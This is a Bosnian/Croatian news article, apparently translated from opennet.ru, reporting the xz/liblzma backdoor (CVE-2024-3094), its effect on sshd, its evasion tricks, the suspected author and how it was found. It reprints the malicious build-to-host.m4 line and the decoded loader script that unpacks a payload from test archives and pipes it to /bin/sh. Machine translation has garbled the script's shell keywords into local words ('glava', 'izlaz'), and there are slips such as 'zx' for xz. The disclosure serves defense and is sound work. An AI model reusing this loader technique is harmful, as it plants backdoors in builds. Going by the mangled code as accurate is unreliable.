Otkriven je backdoor u biblioteci xz/liblzma koji omogućava ulaz preko sshd-a

U paketu XZ Utils, koji uključuje biblioteku liblzma i uslužne programe za rad sa komprimiranim podacima u “.xz” formatu, identificiran je backdoor (CVE-2024-3094) koji omogućava presretanje i modifikaciju podataka koje obrađuju povezane aplikacije sa bibliotekom liblzma. Glavni cilj backdoor-a je OpenSSH server, koji je u nekim distribucijama u paketu sa bibliotekom libsystemd, koja zauzvrat koristi liblzma. Povezivanje sshd-a sa ranjivom bibliotekom omogućava napadačima da dobiju pristup SSH serveru bez autentifikacije.

Backdoor je bio prisutan u službenim izdanjima 5.6.0 i 5.6.1, objavljenim 24. veljače i 9. ožujka, koja su uspjela ući u neke distribucije i spremišta, na primjer, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide i 40-beta, openSUSE fabrika i tumbleweed, LibreELEC, Alpine edge, Solus, NixOS nestabilan, OpenIndiana, OpenMandriva rolling, pkgsrc struja, Slackware struja, Manjaro testiranje. Svim korisnicima izdanja xz 5.6.0 i 5.6.1 preporučuje se da se hitno vrate na verziju 5.4.6.

Među faktorima koji ublažavaju problem, može se primetiti da verzija liblzma sa backdoor-om nije uspela da postane deo stabilnih izdanja velikih distribucija, ali je uticala na openSUSE Tumbleweed i Fedora 40-beta. Arch Linux i Gentoo su koristili ranjivu verziju zx-a, ali nisu podložni napadu jer ne primjenjuju systemd-notify zakrpu na openssh, što uzrokuje da sshd bude povezan sa liblzma-om. Backdoor utiče samo na x86_64 sisteme bazirane na Linux kernelu i Glibc C biblioteci.

Backdoor aktivacijski kod bio je sakriven u m4 makroima iz datoteke build-to-host.m4 koju koristi komplet alata za automake prilikom izgradnje. Tokom asemblera, tokom izvršavanja zamršenih zamućenih operacija zasnovanih na arhivama (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), koje se koriste za testiranje ispravnosti rada, generisana je objektna datoteka sa zlonamernim kodom, koja je uključena u biblioteku liblzma i promijenio operacijsku logiku neke od njenih funkcija. M4 makroi koji aktiviraju backdoor uključeni su u tarball-ove izdanja, ali nisu bili u Git repozitorijumu. Istovremeno, u spremištu su bile prisutne zlonamjerne testne arhive, tj. osoba koja je implementirala backdoor imala je pristup i repozitorijumu i procesima generisanja izdanja.

Kada se liblzma koristi u aplikacijama, zlonamjerne promjene mogu se koristiti za presretanje ili izmjenu podataka ili utjecati na rad sshd-a. Konkretno, zlonamjerni kod je lažirao funkciju RSA_public_decrypt da bi zaobišao proces sshd autentikacije. Backdoor je uključivao zaštitu od detekcije i nije se manifestirao kada su LANG i TERM varijable okruženja bile postavljene (tj. prilikom pokretanja procesa u terminalu) i LD_DEBUG i LD_PROFILE varijable okruženja nisu bile postavljene, a također se aktivirao samo prilikom izvršavanja /usr/sbin/sshd izvršna datoteka . Backdoor je takođe imao sredstvo za otkrivanje izvršenja u okruženjima za otklanjanje grešaka.

Konkretno, fajl m4/build-to-host.m4 koristi gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefiks -d 2>/dev/null'

U prvoj konstrukciji, grep operacija je pronašla fajl tests/files/bad-3-corrupt_lzma2.xz, koji je, kada se raspakovao, generisao skriptu: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && izlaz 0 [ ! $(uname) = "Linux" ] && izlaz 0 [ ! $(uname) = "Linux" ] && izlaz 0 [ ! $(uname) = "Linux" ] && izlaz 0 [ ! $(uname) = "Linux" ] && izlaz 0 eval `grep ^srcdir= config.status` ako test -f ../../config.status; zatim eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi izvoz i=»((glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/ null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava - c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava - c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/ dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && ( glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +2048 && (glava -c +1024 >/dev/null) && glava -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Svijet####

Kako su napadači uspjeli pristupiti infrastrukturi projekta xz, još nije u potpunosti razjašnjeno. Također još nije jasno koliko je korisnika i projekata kompromitovano kao rezultat backdoor-a. Navodni autor backdoor-a (JiaT75 - Jia Tan), koji je postavio arhive sa zlonamjernim kodom u spremište, dopisivao se s Fedora programerima i slao zahtjeve za povlačenje Debianu koji se odnose na prelazak distribucija na granu xz 5.6.0, a nije izazivaju sumnju, budući da je učestvovao u xz se razvija u poslednje dve godine i drugi je developer po broju izmena. Pored xz projekta, navodni autor backdoor-a je takođe učestvovao u razvoju xz-java i xz-embedded paketa. Štaviše, Jia Tan je prije nekoliko dana bio uključen u broj održavatelja XZ Embedded projekta koji se koristi u Linux kernelu.

Zlonamjerna promjena otkrivena je nakon analize prekomjerne potrošnje CPU-a i grešaka koje je generirao valgrind prilikom povezivanja putem ssh-a na Debian sid-bazirane sisteme. Važno je napomenuti da je izdanje xz 5.6.1 uključivalo promjene koje je pripremio navodni autor backdoor-a kao odgovor na pritužbe na usporavanje sshd-a i padove koji su nastali nakon nadogradnje na verziju zx 5.6.0 sa backdoor-om. Osim toga, prošle godine Jia Tan je napravio promjene koje nisu bile kompatibilne sa "-fsanitize=address" modom inspekcije, zbog čega je bio onemogućen tokom fuzz testiranja.

izvor: opennet.ru

Dodajte komentar